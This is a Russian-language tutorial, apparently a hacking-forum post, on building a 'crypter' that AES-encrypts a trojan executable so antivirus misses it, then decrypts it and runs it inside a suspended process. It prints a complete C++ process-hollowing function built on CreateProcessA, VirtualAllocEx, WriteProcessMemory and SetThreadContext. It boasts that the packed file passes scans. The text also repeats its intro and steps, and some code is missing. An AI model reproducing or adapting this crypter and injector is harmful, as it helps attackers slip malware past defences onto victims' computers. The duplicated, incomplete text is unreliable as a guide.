Всем Hi друзья и подруги =)
Сегодня мы разберем простой криптор. Почему простой? Просто потому что большую часть мы будем делать ручками а не кодом. И так поехали.
В статье не буду опускаться до изучения синтаксиса, ООП, классов, структур и т.д. Эта статья рассчитана на новичков, но со знаниями основ. И еще, прошу не пилить меня за синтаксис Си, так как я в основном пишу на них и на плюсах сижу только для более легкого понимания моего кода.
Что-то мы заговорились.
Инструменты которые нам понадобятся:
Убираем лишний код который нам предлагают в main и приступаем к коду.
Первым делом создаем 2 файла: заголовочный AES.h и основной AES.cpp.
Код слишком большой для статьи по этому оба этих файл можете посмотреть по ссылке: https://hello-site.ru/share/AESh/ и https://hello-site.ru/share/AEScpp/
Далее заходим в WinHex, перетаскиваем мышкой в окно программы наш файл который мы хотим закриптовать и выбираем: Edit - Copy All - C source.
копируем наш троян
Создаем в студии файл заголовка, назовем его "prog.h"
Вставляем туда наш скопированный код из WinHex
И ЗАПОМИНАЕМ КОЛИЧЕСТВО БАЙТ!
(листаем в самый верх и немного правим на unsigned char (смотрим скрин))
В главном файле (тот где у нас находится точка входа main) добавляем в самый верх инклуды:
#include <iostream>
#include <cassert>
#include <fstream>
#include "AES.h"
#include "prog.h"
в метод мейн пишем:
187392 меняем на свое количество байт.
key также пишем свой
Как видите по коду, мы шифруем наши байты с помощью ключа и записываем их в новый файл под названием test.exe
Запускаем программу и ждем пока создастся наш шифрованный файлик.
Двигаемся дальше.
Создаем второй проект (можно в том же солюшене, если вам удобно) снова закидываем два файла (или юзаем эти же если в том же солюшене) AES.h и AES.cpp.
Создаем снова заголовочный файл prog.h переходим в наш любимый WinHex,
закидывем наш зашифрованный файл test.exe, снова копируем байты и вставляем в студию
в .cpp добавляем инклуды:
#include <iostream>
#include "AES.h"
#include <cassert>
#include <cstring>
#include "prog.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <direct.h>
и пишем функцию создания процесса и инжекта в него кода(нашей расшифрованной программы).
В мейн добавляем дешифровку и запускаем наши байты:
Компилируем нашу программу, и идем сканировать. И о чудо!!!
Пробуем запустить, и снова чудо!
Сегодня мы разберем простой криптор. Почему простой? Просто потому что большую часть мы будем делать ручками а не кодом. И так поехали.
В статье не буду опускаться до изучения синтаксиса, ООП, классов, структур и т.д. Эта статья рассчитана на новичков, но со знаниями основ. И еще, прошу не пилить меня за синтаксис Си, так как я в основном пишу на них и на плюсах сижу только для более легкого понимания моего кода.
Что-то мы заговорились.
Инструменты которые нам понадобятся:
- WinHex (погуглите скачаете)
- Visual Studio (2013-2019)
- Немножко мозгов
- Файл который будем криптовать
Убираем лишний код который нам предлагают в main и приступаем к коду.
Первым делом создаем 2 файла: заголовочный AES.h и основной AES.cpp.
Код слишком большой для статьи по этому оба этих файл можете посмотреть по ссылке: https://hello-site.ru/share/AESh/ и https://hello-site.ru/share/AEScpp/
Далее заходим в WinHex, перетаскиваем мышкой в окно программы наш файл который мы хотим закриптовать и выбираем: Edit - Copy All - C source.
Создаем в студии файл заголовка, назовем его "prog.h"
Вставляем туда наш скопированный код из WinHex
И ЗАПОМИНАЕМ КОЛИЧЕСТВО БАЙТ!
(листаем в самый верх и немного правим на unsigned char (смотрим скрин))
#include <iostream>
#include <cassert>
#include <fstream>
#include "AES.h"
#include "prog.h"
в метод мейн пишем:
key также пишем свой
Как видите по коду, мы шифруем наши байты с помощью ключа и записываем их в новый файл под названием test.exe
Запускаем программу и ждем пока создастся наш шифрованный файлик.
Двигаемся дальше.
Создаем второй проект (можно в том же солюшене, если вам удобно) снова закидываем два файла (или юзаем эти же если в том же солюшене) AES.h и AES.cpp.
Создаем снова заголовочный файл prog.h переходим в наш любимый WinHex,
закидывем наш зашифрованный файл test.exe, снова копируем байты и вставляем в студию
#include <iostream>
#include "AES.h"
#include <cassert>
#include <cstring>
#include "prog.h"
#include <Windows.h>
#include <TlHelp32.h>
#include <direct.h>
и пишем функцию создания процесса и инжекта в него кода(нашей расшифрованной программы).
C++:
void CreateProc_Inject(const char *path, void* Image)
{
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) //Проверяем что это действительно PE файл.
{
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
if (CreateProcessA(path, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // создаем процесс
{
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
{
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
// записываем байты в процесс
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(NtHeader) + sizeof(IMAGE_NT_HEADERS) + IMAGE_SIZEOF_SECTION_HEADER * count);
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return;
}
}
}
}
В мейн добавляем дешифровку и запускаем наши байты: